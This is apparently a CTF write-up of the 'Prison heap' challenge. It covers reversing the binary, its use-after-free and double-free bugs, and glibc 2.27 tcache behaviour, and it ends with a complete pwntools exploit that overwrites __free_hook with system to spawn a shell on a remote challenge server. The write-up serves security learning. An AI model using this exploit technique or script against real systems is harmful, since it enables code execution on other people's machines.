Prison heap

This was the first of two amazing challenges about heap exploiting made by @javierprtd. I think it was relatively easy and good as entry point for those willing to start in heap exploiting. I won’t cover all the basics so I recommend taking a look at these two amazing resources: this and this. Let’s start!

Setting the libc

The heap implementation slightly varies across different libc versions, including security fixes, which are really important for us. Of course, offsets also change. That’s why we have to run the binary with the given libc, and not with the one installed in our system. The way I do it is with LD_PRELOAD. However, we can’t just LD_PRELOAD the libc, as the binary will use the loader of the system. We can get ld-2.27.so with the tool glibc-all-in-one. Then, we can patch the given binary with:

patchelf --set-interpreter /path/to/ld-2.27.so prison_heap

Now we can run it doing:

LD_PRELOAD=./libc-2.27.so ./prison_heap

Or in pwntools:

PATH = "./prison_heap"
ENV = {"LD_PRELOAD":"./libc-2.27.so"}
p = process(PATH, env=ENV)

Reversing

The binary prompts the usual menu with three different options: allocating and writing, freeing and reading. Let’s take a look at the different functions with ghidra.

Allocating and writing

This is done in the function write_prison:

The program saves the size and the address of each allocation in a global variable. As we can see, it first counts how many allocations we already did, and exits if it is greater than 10, so we can only perform 11 allocations. It then asks for a size, and if it is greater than 0x800 it says “Unauthorized size”, but continues with the execution. Finally, it performs the allocation and writes our input char by char. Note that it won’t introduce new lines (\n) and that it doesn’t null out the last char (possibility to get a leak and partial overwrite).

Freeing

Let’s take a look at the function free_prison:

It simply asks for an index and frees the corresponding allocation if it is not NULL. However, it doesn’t null out the pointer after freeing, so we can perform double free.

Reading

It will puts the content without any check. As pointers are not nulled when freed, there’s a UAF that allows us to get a leak.

Summary

Vulnerabilities we found:

  • Failed attempt to restrict the size of the allocation, so we’ve got arbitrary size malloc.
  • Pointers are not nulled when freed, which leads to UAF.
  • It doesn’t set a null character at the end of our input. This is not important in this challenge but will be critical in the second part.

Exploiting

Leak

As you may know, when you call malloc you are given a piece of memory, which we call chunk. When freed, this chunk is added to a linked list, which we call bin, that can be single-linked list or circular double-linked list, depending on the size of the chunk. In libc 2.26 tcache bins were added, and every free chunk with size lower than 0x408 is added to those bins, which are LIFO single-linked lists. That means that when we free a chunk of that size, an address will be written to it: the address of the next free chunk. However, if it is the only free chunk, that address will be 0, indicating the end of the list.

On the other hand, every chunk that is not added to a tcache bin (either because it’s full or because it’s size is greater than 0x408) is first added to the unsorted bin, a FIFO circular double-linked list. Now, free chunks will not only have a forward pointer pointing to the next free chunk but also a backward pointer. This means both the first and last chunk of the list will have a pointer to the head of the list, in the bk and fd pointers respectively. And the head of the list is in the libc. So we can simply allocate a large chunk, free it and read its content, and we’ll have a libc leak. This is the usual way of getting a libc leak: free a chunk into the unsorted bin and read its content. If you didn’t understand this I suggest reading the resources of the introduction.

Writing

Once we have a leak, it’s time to get a shell. The usual way of doing it is writing one-gadget or system into __free_hook or __malloc_hook, which are pointers to functions that will be called when free and malloc are called. In order to do that, we’ll exploit the double free vulnerability. Libc 2.27 does not include checks for double freeing a tcache chunk, so they are very easy to exploit.

When we first free a chunk of size less than 0x408, it gets added to a tcache bin, which is a LIFO single linked list. Which means the bin will be: HEAD --> chunk1 --> 0. If we read the chunk we would get nothing because it points to NULL, as it is the end of the list.

When we free another chunk of the same size, it gets added to the beginning of the list: HEAD --> chunk2 --> chunk1 --> 0. If we would now read chunk2 we would get a heap leak, as it points to chunk1 which is in the heap. Allocating a chunk would now give us chunk2, and the bin would be like before.

However, what happens when we free the same chunk twice? The bin would be: HEAD --> chunk --> chunk --> chunk --> ... . The chunk points to itself, creating an infinite list. If we allocate the chunk without writing anything, we will always get the same chunk. More interesting, if we allocate and write, we will be overwriting the fd pointer that originally pointed to itself. If we write the address of __free_hook, the bin will become like this: HEAD --> chunk --> __free_hook --> 0. Therefore, performing two more allocations we will get a chunk in __free_hook. Then, we only have to write the address of one-gadget and call free. However, it seemed like none of the constraints of one-gadget were satisfied. Other possible option is to write the address of system, and then free a chunk where we wrote /bin/sh. That way, free("/bin/sh") will turn into system("/bin/sh") and give us a shell.

Observations

  • Before freeing the chunk to get it into the unsorted bin, we must allocate another chunk. If not, the chunk will be consolidated with the top chunk and not added to the unsorted bin.
  • When we allocate the chunk that we want to be in the tcache bin, we are given the same address of the free big chunk in the unsorted bin. That’s because that chunk was a “large chunk”. It was split, and part of it was served for the allocation of a new chunk.

Exploit

import os
from pwn import *

PATH = "./prison_heap"
ENV = {"LD_PRELOAD":"./libc-2.27.so"}
REMOTE = True

OFFSET_LEAK = 0x3EBCA0
OFFSET_SYSTEM = 0x000000000004f440
OFFSET_FREEHOOK = 0x00000000003ed8e8

def write(what, size=None):
	if size is None:
		size = len(what)
	p.sendlineafter("4. Exit\n", "1")
	p.sendlineafter("Choose the size of prison heap", str(size))
	p.sendlineafter("to enter the prison", what)

def free(index):
	p.sendlineafter("4. Exit\n", "2")
	p.sendlineafter("for free", str(index))

def read(index):
	p.sendlineafter("4. Exit\n", "3")
	p.sendlineafter("for read\n", str(index))
	data = p.recvuntil("Choose Option", drop=True)
	return data

context.binary = PATH
if REMOTE:
	p = remote("161.35.30.233", 1337)
else:
	p = process(PATH, env=ENV)


write("hola", 2000) # 0, 0x260
write("hola", 2000) # 1, 0xa40, avoid consolidation
free(0) 
# unsorted bin: HEAD -> 0x555555761260 --> HEAD, HEAD being in libc

leak = read(0)[:-1]
leak = u64(leak.ljust(8, b"\x00"))

LIBC = leak - OFFSET_LEAK
SYSTEM = LIBC + OFFSET_SYSTEM
FREE_HOOK = LIBC + OFFSET_FREEHOOK
log.info("LIBC: %s", hex(LIBC))
log.info("SYSTEM: %s", hex(SYSTEM))
log.info("FREE_HOOK: %s", hex(FREE_HOOK))


write("AAAA", 0x20) # 2, 0x260
free(2) 
# tcache bin: HEAD --> 0x555555761260 --> 0

free(2) 
# tcache bin: HEAD --> 0x555555761260 --> 0x555555761260 --> 0

write(pack(FREE_HOOK), 0x20) # 3, 0x260
# tcache bin: HEAD --> 0x555555761260 --> FREE_HOOK --> 0

write("/bin/bash\x00", 0x20) # 4, 0x260
# tcache bin: HEAD --> FREE_HOOK --> 0

write(pack(SYSTEM), 0x20) # 5, chunk at FREE_HOOK

free(4) # system("/bin/bash")

p.interactive()

Leave a comment

Your email address will not be published. Required fields are marked *